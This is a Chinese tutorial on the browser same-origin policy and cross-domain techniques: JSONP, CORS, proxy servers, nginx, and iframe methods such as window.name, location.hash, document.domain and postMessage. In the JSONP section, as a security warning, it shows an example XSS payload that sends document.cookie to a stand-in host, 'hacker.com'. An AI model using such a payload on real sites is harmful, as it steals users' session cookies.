一、什么是跨域
1. 同源策略及其限制内容
概念
同源策略是一种约定,它是浏览器最核心也最基本的安全功能。如果缺少了同源策略,浏览器很容易受到 XSS、CSRF
等攻击。
所谓 同源 是指 协议+域名+端口 三者相同,即便两个不同的域名指向同一个 ip 地址,也非同源。
限制内容
- Cookie、LocalStorage、IndexedDB 等存储性内容
- DOM 节点
- AJAX 请求发送后,结果被浏览器拦截了
允许跨域加载资源的标签或属性: script、link、img、video、audio、frame、iframe、embed 等有 src 属性的标签,以及 object(data属性)、applet(code属性)
css 中的 @font-face
2. 跨域
概念
跨域 指的是协议(protocal)、域名(host)和端口号(post)三者之间任意一个不相同的资源之间尝试着进行交互通信,但由于受浏览器同源策略的限制,无法正常进行交互通信。
使用 AJAX
请求第三方不同域下的资源时就经常会发生跨域,如果不处理便不能成功发送请求,且会收到这样的错误警告
严格来说,浏览器并不是拒绝所有的跨域请求,实际上拒绝的是跨域的读操作。
同源策略控制了不同源之间的交互,这些交互通常分为三类:
- ✅ 通常浏览器允许进行跨域 写操作(Cross-origin writes),如链接、重定向以及表单提交
- ✅ 通常浏览器允许跨域 资源嵌入(Cross-origin embedding),如 img、script 标签
- ❌ 通常浏览器不允许跨域 读操作(Cross-origin reads),但常可以通过内嵌资源来巧妙地进行读取访问。例如可以读取嵌套图片的高度和宽度,调用内嵌脚本的方法
为什么要实现跨域请求? 工程服务化后,不同职责的服务分散在不同的工程中,往往这些工程的域名是不同的,但一个需求可能对应到多个服务,这时便需要调用不同服务的接口,因此会出现跨域。 同源策略仅存在于浏览器客户端,不存在 Android、iOS、NodeJS、Python、Java 等其他环境。
⚠️ 注意:跨域请求能成功发送,服务端能接收请求并正常返回结果,只是结果被浏览器拦截了。
二、跨域解决方案
1. 前后端之间的数据通信
JSONP
由于浏览器同源策略允许 script
标签这样的跨域资源嵌套的,所以 script
标签的资源不受到同源策略的限制。
而 JSONP
正是利用这一点来进行跨域请求的:
- 前端设置好回调函数,并把回调函数当作请求
url
携带的参数 - 后端接受到请求之后,返回回调函数名和需要的数据
- 后端响应并返回数据后,返回的数据传入到回调函数中并执行。
简单实例
```javascript // 服务端简单示例 const http = require(‘http’); const server = http.createServer(); const data = {};
server.on(‘request’, (req, res) => {
const { url } = req;
const reg = /(callback=)\w+/gi;
const fnArr = url.match(reg).map(a => a.replace(‘callback=’, ‘’));
let result = ‘’;
for (let i in fnArr) {
result += ${fnArr[i]}(${JSON.stringify(data)})
;
}
// 为了防止中文乱码问题,需要设置响应头,
res.setHeader(‘Content-Type’, ‘text/html; charset=utf-8’)
res.end(result);
})
server.listen(3000, () => console.log(‘listening on port 3000’));
```html
<!-- script 标签方式:前端示例 -->
<!-- 通过原生使用 script 标签 -->
<script>
function jsonpCallback(data) {
console.log(data);
}
</script>
<script src="http://127.0.0.1:3000?callback=jsonpCallback"></script>
<!-- xhr 请求方式:前端示例 -->
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.js"></script>
<script>
function jsonpCallback(data) {
console.log(data);
}
$.ajax({
type: 'GET', // 必须是 GET 请求 !!!!!!!!!!!!!!
url: 'http://127.0.0.1:3000',
dataType: 'jsonp', // 设置为 jsonp 类型 !!!!!!!!!!!!!!
jsonpCallback: 'jsonpCallback' // 设置回调函数
})
</script>
手写 JSONP 前端请求方法
const jsonp = ({
url,
params,
callbackName
}) => {
const generateUrl = () => {
url += "?"
for (let i in params) {
url += `${i}=${params[i]}&`
}
url += `callback=${callbackName}`
return url
}
return new Promise((resolve, reject) => {
const scriptEle = document.createElement('script');
scriptEle.src = generateUrl();
document.body.appendChild(scriptEle);
window[callbackName] = data => {
resolve(data);
document.body.removeChild(scriptEle);
}
})
}
优缺点
- 兼容性好,低版本的
IE
也可以支持 - 只能支持
GET
方式的HTTP
请求 - 只支持前后端数据通信这样的
HTTP
请求,并不能解决不同域下的页面之间的数据交互通信问题。Callback 导致的 XSS 安全漏洞
如果函数名callback
不是正常的函数名,而是一个script
标签如:script.src='/pay?callback=<srcript>$.get("http://hacker.com?cookie="+document.cookie)</script>'
那么当服务器返回响应的时候,后面这段恶意代码就会被执行
CORS
CORS
跨域资源共享(Cross-origin resource sharing)允许在服务端进行相关设置后,可以进行跨域通信。
服务端未设置 CORS 跨域字段,客户端会拒绝请求并提示错误警告。
服务端设置 Access-Control-Allow-Origin
字段,值可以是具体的域名或者 *
通配符,配置好后就可以允许跨域请求数据。
简单实例
// 服务端设置
const http = require('http');
const server = http.createServer();
const data = {};
server.on('request', (req, res) => {
// 为了防止中文乱码问题,需要设置响应头,
res.setHeader('Content-Type', 'text/html; charset=utf-8')
// res.setHeader('Access-Control-Allow-Origin', '*');
res.end(JSON.stringify(data));
})
server.listen(3000, () => console.log('listening on port 3000'));
服务器代理(Server Proxy)
通过服务器代理请求的方式也是解决浏览器跨域问题的方案。
同源策略只是针对浏览器的安全策略,服务器并不受同源策略的限制,也就不存在跨域的问题。具体步骤如下:
- 前端请求代理服务端提供的接口
- 通过代理服务器发送请求给有数据的服务器
- 得到数据后,代理服务器再将需要的数据返回给前端
即直接让后端代理发送请求。
示例一:使用 node
// index.html(http://127.0.0.1:5500)
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
<script>
$.ajax({
url: 'http://localhost:3000',
type: 'post',
data: { name: 'xiamen', password: '123456' },
contentType: 'application/json;charset=utf-8',
success: function(result) {
console.log(result) // {"title":"fontend","password":"123456"}
},
error: function(msg) {
console.log(msg)
}
})
</script>
// server1.js 代理服务器 —— http://localhost:3000
const http = require('http')
// 第一步:接受客户端请求
const server = http.createServer((request, response) => {
// 代理服务器,直接和浏览器直接交互,需要设置CORS 的首部字段
response.writeHead(200, {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': '*',
'Access-Control-Allow-Headers': 'Content-Type'
})
// 第二步:将请求转发给服务器
const proxyRequest = http
.request(
{
host: '127.0.0.1',
port: 4000,
url: '/',
method: request.method,
headers: request.headers
},
serverResponse => {
// 第三步:收到服务器的响应
var body = ''
serverResponse.on('data', chunk => {
body += chunk
})
serverResponse.on('end', () => {
console.log('The data is ' + body)
// 第四步:将响应结果转发给浏览器
response.end(body)
})
}
)
.end()
})
server.listen(3000, () => {
console.log('The proxyServer is running at http://localhost:3000')
})
// server2.js —— http://localhost:4000
const http = require('http')
const data = { title: 'fontend', password: '123456' }
const server = http.createServer((request, response) => {
if (request.url === '/') {
response.end(JSON.stringify(data))
}
})
server.listen(4000, () => {
console.log('The server is running at http://localhost:4000')
})
示例二:使用 nginx
实现原理类似于 Node 中间件代理,需要你搭建一个中转 nginx 服务器,用于转发请求。
使用 nginx 反向代理实现跨域,是最简单的跨域方式。只需要修改 nginx 的配置即可解决跨域问题,支持所有浏览器,支持 session,不需要修改任何代码,并且不会影响服务器性能。
实现思路:通过 nginx 配置一个代理服务器(域名与 domain1 相同,端口不同)做跳板机,反向代理访问domain2 接口,并且可以顺便修改 cookie 中 domain 信息,方便当前 域 cookie 写入,实现跨域登录
2. 窗口间的数据通信
window.name + iframe
实现原理:window.name
属性的独特之处:name
值在不同的页面(甚至不同域名)加载后依旧存在,并且可以支持非常长的 name 值(2MB)
示例:a.html
和b.html
是同域的,都是http://localhost:3000
,而c.html
是http://localhost:4000
// a.html —— http://localhost:3000/a.html
<iframe src="http://localhost:4000/c.html" frameborder="0" onload="load()" id="iframe"></iframe>
<script>
let first = true, iframe = document.getElementById('iframe');
// onload事件会触发2次,第1次加载跨域页,并留存数据于window.name
function load() {
if(first){
// 第1次onload(跨域页)成功后,切换到同域代理页面
iframe.src = 'http://localhost:3000/b.html';
first = false;
}else{
// 第2次onload(同域b.html页)成功后,读取同域 window.name 中数据
console.log(iframe.contentWindow.name); // 🤭
}
}
</script>
b.html 为中间代理页,与 a.html 同域,内容为空
// c.html —— http://localhost:4000/c.html
<script>
window.name = '🤭'
</script>
总结:通过 iframe 的 src 属性由外域转向本地域,跨域数据即由 iframe 的 window.name 从外域传递到本地域。
这个就巧妙地绕过了浏览器的跨域访问限制,但同时它又是安全操作
location.hash + iframe
实现原理: a.html 与 c.html 跨域相互通信,可以通过中间页 b.html 来实现。
三个页面,不同域之间利用 iframe 的 location.hash 传值,相同域之间直接 js 访问来通信
具体流程如下:
- 不同域的 a 页面与 c 页面进行通信,在 a 页面通过 iframe 嵌入 c 页面,并给 iframe 的 src 添加一个 hash 值
- b 页面接受到了 hash 值后,确定 c 页面在尝试着向自己通信,然后通过修改
parent.parent.location.hash
的值,将要通信的数据传递给 a 页面的 hash - 由于 IE 和 chrome 不允许子页面直接修改父页面的 hash 值,所以需要一个代理页面 b,通过与 a 页面同域的 c 页面来传递数据
在 c 页面中通过 iframe 嵌入 b 页面,将要传递的数据通过 iframe 的 src 链接的 hash 值传递给 c 页面,由于 a 页面与 b 页面同域, b 页面可以直接修改 a 页面的 hash 值或者调用 a 页面中的全局函数。
// a.html
<iframe src="http://localhost:4000/c.html#dsb"></iframe>
<script>
window.onhashchange = function () { //检测hash的变化
console.log(location.hash);
}
</script>
// b.html
<script>
window.parent.parent.location.hash = location.hash
//b.html将结果放到a.html的hash值中,b.html可通过parent.parent访问a.html页面
</script>
// c.html
console.log(location.hash);
let iframe = document.createElement('iframe');
iframe.src = 'http://localhost:5500/b.html#idontloveyou';
document.body.appendChild(iframe);
优缺点
hash
传递的数量容量有限- 数据直接暴露在
url
中document.domain + iframe
预计在 Chrome 101 版本,
document.domain
变为可读属性,就是说不能用来跨域了
实现原理:两个页面都通过 js 强制设置 document.domain 为基础主域,就实现了同域。
该方式只能用于二级域名相同的情况下,比如 a.test.com 和 b.test.com 适用于该方式。 只需要给页面添加 document.domain =’test.com’ 表示二级域名都相同就可以实现跨域
示例
// a.html
<body>
helloa
<iframe src="http://b.zf1.cn:3000/b.html" frameborder="0" onload="load()" id="frame"></iframe>
<script>
document.domain = 'zf1.cn'
function load() {
console.log(frame.contentWindow.a);
}
</script>
</body>
// b.html
<body>
hellob
<script>
document.domain = 'zf1.cn'
var a = 100;
</script>
</body>
window.postMessage
postMessage 是 HTML5
XMLHttpRequest Level 2
中的API,且是为数不多可以跨域操作的window 属性之一。
跨域原理:**postMessage()**
方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递。
它可用于解决以下方面的问题:
- 页面和其打开的新窗口的数据传递
- 多窗口之间消息传递
- 页面与嵌套的 iframe 消息传递
- 上面三个场景的跨域数据传递
使用方式
otherWindow.postMessage(message, targetOrigin, [transfer]);
message
:将要发送到其他 window 的数据。targetOrigin
:通过窗口的 origin 属性来指定哪些窗口能接收到消息事件"*"
:通配符,表示任意窗口。url
:在发送消息的时候,如果目标窗口的协议、主机地址或端口这三者都匹配targetOrigin
消息才会被发送。
- transfer(可选) :是一串和 message 同时传递的 Transferable 对象.。
- 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。
使用示例
接下来我们看个例子: http://localhost:3000/a.html
页面向http://localhost:4000/b.html
传递hello
,然后后者传回hello 你个大头
// a.html
<iframe src="http://localhost:4000/b.html" frameborder="0" id="frame" onload="load()"></iframe> //等它加载完触发一个事件
//内嵌在http://localhost:3000/a.html
<script>
function load() {
let frame = document.getElementById('frame')
frame.contentWindow.postMessage('hello', 'http://localhost:4000') //发送数据
window.onmessage = function(e) { //接受返回数据
console.log(e.data) // hello 你个大头
}
}
</script>
// b.html
window.onmessage = function(e) {
console.log(e.data) // hello
e.source.postMessage('hello 你个大头', e.origin)
}